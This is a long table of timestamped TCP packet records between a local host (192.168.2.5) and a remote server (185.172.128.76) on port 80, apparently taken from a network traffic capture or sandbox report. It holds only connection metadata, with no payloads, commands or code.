Apr 25, 2024 21:48:00.037911892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.037949085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.038460016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.038470984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.038481951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.038495064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.038506031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.038506985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.038521051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.038526058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.038551092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039005041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039017916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039027929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039051056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039066076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039371967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039419889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039568901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039582014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039612055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039627075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039707899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039721012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039731979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039743900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039752960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039755106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039767981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.039769888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039788008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.039813042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040091991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040138006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040250063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040261030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040271044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040282965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040296078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040299892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040311098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040313959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040324926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040328979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040344000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040345907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040360928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040384054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040616989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040662050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.040887117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.040930033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041040897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041053057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041062117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041074038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041084051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041093111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041096926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041109085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041115046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041121960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041134119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041134119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041147947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041155100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041160107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041172028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041196108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041223049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041258097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041451931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041464090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041474104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041492939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041515112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041632891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041645050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041655064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041667938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041675091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041682005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041695118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041702986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041707039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041716099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041718960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041733027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041740894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041769028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.041979074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.041991949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042001963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042027950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.042038918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.042530060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042541981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042551994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042562008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042572975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042577982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.042586088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042598963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042601109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.042620897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.042637110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.042689085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.042727947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.089871883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.089895010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.089906931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.089924097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.089967012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.089981079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.089994907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090046883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090090036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090152979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090167046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090178967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090188026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090193033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090218067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090240002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090331078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090352058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090367079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090383053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090399981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090410948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090508938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090523958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090536118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090547085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090549946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090563059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090584040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090678930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090692997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090720892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090743065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090850115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090864897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090876102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090888977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090895891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090903997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.090924978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090945959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.090987921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091027975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091171026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091183901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091195107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091207027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091208935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091223001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091229916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091238022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091255903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091270924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091325998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091339111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091352940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091365099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091365099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091377974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091381073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091398001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091422081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091500044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091514111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091526031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091536999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091538906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091552019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091568947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091674089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091687918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091698885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091731071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.091759920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.091778994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092130899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092148066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092179060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092283010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092295885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092308998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092322111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092329979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092345953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092369080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092484951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092504978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092525005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092546940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092664003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092689037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092709064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092724085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092912912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092926979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.092953920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.092971087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093059063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093071938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093081951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093094110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093106985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093107939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093122959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093132019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093135118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093147993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093172073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093236923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093252897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093265057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093276024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093280077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093302011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093323946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093511105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093524933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093537092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093554020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093579054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093687057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093708038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093719959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093733072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093748093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093765020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.093858004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093871117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.093902111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094044924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094093084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094223976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094237089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094264984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094269991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094283104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094286919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094304085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094305038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094316959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094321012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094341040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094356060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094415903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094454050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094609976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094624043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094636917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094646931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094650984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094660044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094670057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094692945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094715118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094764948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094779015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094789982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094805002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094825983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094948053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094960928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.094989061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.094993114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.095005035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.095005989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.095026970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.095045090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.095223904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.095240116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.095266104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.095285892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.196388006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.404373884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510360003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510381937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510392904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510447979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510508060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.510548115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.510560989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510602951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.510605097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510617971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510656118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.510656118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.510721922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510780096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510792971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510793924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.510816097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.510828972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.510828972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.511033058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.562685013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.562701941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.562714100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.562750101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.562788010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.562819004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.562844038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.562880993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.562880993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.562968969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563013077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563020945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563035011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563060045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563074112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563074112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563102961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563122988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563147068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563169956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563183069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563230038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563239098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563261032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563304901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563304901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563321114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563360929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563371897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563381910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.563407898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.563443899 CEST	49704	80	192.168.2.5	185.172.128.76
